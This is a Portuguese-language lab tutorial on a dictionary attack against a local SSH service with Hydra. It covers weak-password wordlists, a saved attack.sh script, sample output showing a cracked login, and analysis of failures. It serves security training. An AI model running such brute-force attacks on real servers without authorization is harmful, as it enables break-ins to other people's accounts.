Realizar um Ataque de Dicionário em SSH com Hydra

Introdução

Neste laboratório, você aprenderá como conduzir um ataque de dicionário em serviços SSH usando o Hydra, uma poderosa ferramenta de quebra de senhas. Você explorará o processo de geração de listas de nomes de usuário e senhas, configuração de parâmetros de ataque e execução de tentativas de força bruta direcionadas contra um servidor SSH.

O laboratório oferece experiência prática com a estrutura de comandos do Hydra, interpretação de saída e análise de resultados. Você praticará a verificação de arquivos de entrada, o lançamento de ataques e a identificação de credenciais de login bem-sucedidas, ao mesmo tempo em que compreende padrões comuns de falha.

Carregar Listas de Nomes de Usuário e Senhas

Nesta etapa, você preparará os componentes essenciais para um ataque de dicionário - listas de nomes de usuário e senhas. Um ataque de dicionário funciona tentando sistematicamente cada palavra em uma lista predefinida (dicionário) como credenciais potenciais. Para ataques SSH, precisamos de dois arquivos separados: um contendo possíveis nomes de usuário e outro contendo possíveis senhas.

1. Primeiro, navegue até o diretório do projeto onde armazenaremos nossos arquivos. Isso mantém tudo organizado:

cd ~/project

2. Criaremos nossa lista de nomes de usuário usando o nano, um editor de texto simples. O nome do arquivo usernames.txt é convencional, mas você pode nomeá-lo de forma diferente:

nano usernames.txt

3. No editor nano, insira nomes de usuário SSH comuns que os sistemas podem usar. Cada nome de usuário deve estar em sua própria linha. Estes são nomes de usuário padrão ou comuns que os administradores podem usar:

admin
root
user
test
guest
labex

4. Para salvar no nano: pressione Ctrl+O (a letra O), depois Enter para confirmar o nome do arquivo. Saia do nano com Ctrl+X. Isso o retorna à linha de comando.

5. Agora crie o arquivo de senhas usando o mesmo processo. Senhas fracas como estas são surpreendentemente comuns em sistemas reais:

nano passwords.txt

6. Insira estas senhas comuns, uma por linha. Observe que algumas correspondem aos nossos nomes de usuário - as pessoas costumam usar a mesma string para ambos:

password
123456
admin
qwerty
letmein
labex

7. Salve e saia do nano como antes (Ctrl+O, Enter, Ctrl+X).

8. Vamos verificar se nossos arquivos foram criados corretamente. O comando ls -l mostra que os arquivos existem, enquanto cat exibe seu conteúdo. Esta é uma importante verificação de qualidade antes de prosseguir:

ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt

Você deve ver ambos os arquivos listados com seus tamanhos, seguidos por seus conteúdos exibidos. Esses arquivos formam a base do nosso ataque de dicionário - o Hydra tentará sistematicamente cada combinação de nome de usuário/senha dessas listas contra o servidor SSH nas próximas etapas.

Configurar Hydra para Ataque de Dicionário SSH

Nesta etapa, você configurará o Hydra para realizar um ataque de dicionário SSH usando as listas de nomes de usuário e senhas criadas na etapa anterior. Um ataque de dicionário é um método em que o Hydra tenta sistematicamente todas as combinações possíveis de suas listas de palavras para encontrar credenciais válidas.

1. Primeiro, certifique-se de estar no diretório de trabalho correto onde seus arquivos de projeto estão armazenados:

cd ~/project

Este comando altera seu diretório atual para a pasta do projeto onde estaremos trabalhando.

2. Verifique se o Hydra está instalado verificando sua versão:

hydra -v

Você deve ver a saída mostrando a versão do Hydra instalada. Isso confirma que o Hydra está pronto para uso e ajuda a solucionar problemas caso surjam problemas mais tarde.

3. Crie um arquivo de destino chamado target.txt contendo o endereço IP do servidor SSH local:

echo "127.0.0.1" > target.txt

Estamos usando 127.0.0.1 (localhost) como nosso alvo porque estamos testando em nossa própria máquina neste ambiente de laboratório.

4. Entenda a estrutura básica de comando do Hydra para ataques SSH:

hydra -L <username_list> -P <password_list> <target> ssh

Isso mostra os parâmetros mínimos necessários: lista de nomes de usuário (-L), lista de senhas (-P), IP/nome de host do alvo e o serviço (ssh) que estamos atacando.

5. Prepare o comando Hydra real usando seus arquivos (mas não o execute ainda):

hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh

Onde:

• -L especifica o arquivo da lista de nomes de usuário (usernames.txt)
• -P especifica o arquivo da lista de senhas (passwords.txt)
• -t 4 define o número de conexões paralelas (4 threads para testes mais rápidos)
• -vV habilita a saída detalhada para que você possa ver o progresso do ataque

6. Salve este comando em um arquivo de script para execução na próxima etapa:

echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh

Criar um script facilita a reexecução do ataque e garante que você não digite o comando incorretamente. O comando chmod torna o script executável.

7. Verifique se todos os arquivos necessários estão presentes antes de prosseguir:

ls -l usernames.txt passwords.txt target.txt attack.sh

Esta verificação final confirma que você tem todos os arquivos necessários: lista de nomes de usuário, lista de senhas, arquivo de destino e seu script de ataque.

Executar o Ataque de Dicionário SSH

Nesta etapa, você executará o ataque de dicionário SSH do Hydra usando a configuração preparada nas etapas anteriores. Hydra é uma ferramenta popular de quebra de senhas que tenta sistematicamente diferentes combinações de nome de usuário e senha contra um serviço como SSH.

1. Primeiro, certifique-se de estar no diretório de trabalho correto onde seu script de ataque está localizado. Isso é importante porque o Hydra precisa de acesso às suas listas de palavras e arquivos de configuração:

cd ~/project

2. Verifique se o script de ataque está pronto exibindo seu conteúdo. Isso permite que você verifique novamente os parâmetros do comando Hydra antes da execução:

cat attack.sh

Você deve ver o comando Hydra que preparamos anteriormente com o IP de destino, porta e caminhos da lista de palavras corretos.

3. Antes de executar, certifique-se de que o serviço SSH esteja em execução no localhost, pois estamos testando em nossa própria máquina. O Hydra precisa de um serviço SSH ativo para tentar conexões:

sudo service ssh status

Se não estiver em execução, inicie-o com:

sudo service ssh start

4. Execute o script de ataque. Isso iniciará o Hydra com todos os parâmetros que configuramos:

./attack.sh

5. Observe o progresso do ataque em tempo real. O Hydra fornecerá feedback ao vivo mostrando:

• Cada tentativa de conexão com combinações de nome de usuário/senha
• Logins bem-sucedidos (destacados quando encontrados)
• Tentativas fracassadas (a maioria da saída)
• Estatísticas finais, incluindo taxa de sucesso e tempo gasto

6. A saída esperada será semelhante a esta quando uma credencial for encontrada:

[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1   login: labex   password: labex
1 of 1 target successfully completed, 1 valid password found

7. O ataque parará automaticamente sob estas condições:

• Quando todas as combinações de suas listas de palavras forem testadas
• Quando uma credencial válida for encontrada (comportamento padrão do Hydra)
• Se você interromper manualmente com Ctrl+C

8. Para salvar os resultados em um arquivo para análise posterior, redirecione a saída. Isso cria um registro permanente de todas as tentativas e resultados:

./attack.sh > attack_results.txt

Visualizar Resultados de Login Bem-Sucedidos

Nesta etapa, você analisará os resultados do seu ataque de dicionário SSH para identificar tentativas de login bem-sucedidas. Ao realizar testes de segurança, é crucial documentar e verificar adequadamente suas descobertas antes de prosseguir com análises adicionais.

1. Primeiro, navegue até o diretório do seu projeto onde todos os seus arquivos de laboratório estão armazenados:

cd ~/project

2. Verifique se você salvou os resultados do ataque da etapa anterior. O comando ls -l mostra informações detalhadas do arquivo, incluindo hora de criação e permissões:

ls -l attack_results.txt

3. Se você não salvou os resultados anteriormente, execute este comando para gerá-los agora. O símbolo > redireciona a saída do Hydra para um arquivo de texto para análise posterior:

./attack.sh > attack_results.txt

4. Visualize os resultados completos do ataque. O comando cat exibe todo o conteúdo de um arquivo em seu terminal:

cat attack_results.txt

5. Procure por entradas de login bem-sucedidas, que aparecerão em um formato semelhante a este. Cada tentativa bem-sucedida contém três informações-chave:

[22][ssh] host: 127.0.0.1   login: labex   password: labex

6. Para extrair apenas as tentativas bem-sucedidas de arquivos de resultados potencialmente grandes, use grep para filtrar as linhas que contêm "login:". Isso economiza tempo ao revisar os resultados:

grep "login:" attack_results.txt

7. O formato de saída mostra três elementos importantes que você precisará para verificação:

• Endereço IP do alvo (127.0.0.1) - a máquina que aceitou as credenciais
• Nome de usuário bem-sucedido (login) - o nome da conta válido
• Senha válida - a senha correspondente para essa conta

8. Verifique as credenciais tentando um login SSH. Isso confirma que as credenciais realmente funcionam em uma sessão SSH real:

ssh labex@127.0.0.1

Digite "yes" para aceitar a chave do host, se solicitado (isso acontece na primeira conexão), e, em seguida, insira a senha quando solicitado.

9. Após o login bem-sucedido, saia corretamente da sessão SSH para retornar ao seu terminal local:

exit

10. Para melhor legibilidade, formate os resultados com este pipeline de comando. O comando awk reestrutura a saída em campos rotulados claros:

grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'

Compreender as Mensagens de Falha do Ataque

Nesta etapa, examinaremos a saída do seu ataque Hydra SSH para entender por que certas tentativas de login falharam. Analisar essas mensagens de falha é crucial tanto para profissionais de segurança que avaliam vulnerabilidades do sistema quanto para testadores de penetração que refinam suas estratégias de ataque.

1. Primeiro, vamos navegar até o diretório do seu projeto onde os resultados do ataque estão armazenados. Isso garante que estamos trabalhando com os arquivos corretos:

cd ~/project

2. Agora, visualizaremos o arquivo completo de resultados do ataque. Ele contém toda a saída das tentativas de login do Hydra:

cat attack_results.txt

3. Para focar especificamente nas tentativas de falha, filtraremos os logins bem-sucedidos e procuraremos padrões de erro comuns. Os comandos grep ajudam a isolar mensagens de falha importantes:

grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"

4. Aqui estão as mensagens de falha mais comuns que você encontrará e o que elas realmente significam:

• invalid password: O nome de usuário estava correto, mas a senha não correspondia
• invalid user: O nome de usuário não existe no sistema de destino
• connection refused: O serviço SSH não está em execução no destino
• connection timeout: Problemas de rede ou um firewall está bloqueando o acesso
• too many connections: O destino detectou e bloqueou tentativas rápidas de login

5. Vamos quantificar quantos de cada tipo de falha ocorreram. Contar isso ajuda a entender os padrões de ataque:

grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt

6. Para ver se as falhas ocorreram em horários específicos (o que pode indicar limitação de taxa), extrairemos e contaremos os timestamps:

grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c

7. Agora, criaremos um relatório de resumo simples das falhas. Essa visão organizada ajuda a documentar suas descobertas:

echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt

8. Para uma investigação mais aprofundada, podemos verificar os logs SSH do sistema de destino (se você tiver acesso). Eles geralmente contêm informações de erro mais detalhadas:

sudo grep 'sshd' /var/log/auth.log | tail -20

Resumo

Neste laboratório, você aprendeu como conduzir um ataque de dicionário em SSH usando Hydra, preparando listas de nomes de usuário e senhas. O processo incluiu a criação de arquivos de credenciais, a verificação de seus conteúdos e a estruturação do comando Hydra com as flags apropriadas (-L, -P e -t) para um ataque eficaz.

Além disso, você explorou a interpretação da saída do Hydra para identificar logins bem-sucedidos e analisar os resultados do ataque. Este laboratório demonstrou a importância da preparação adequada de arquivos, configuração de comandos e testes sistemáticos em ataques de credenciais SSH.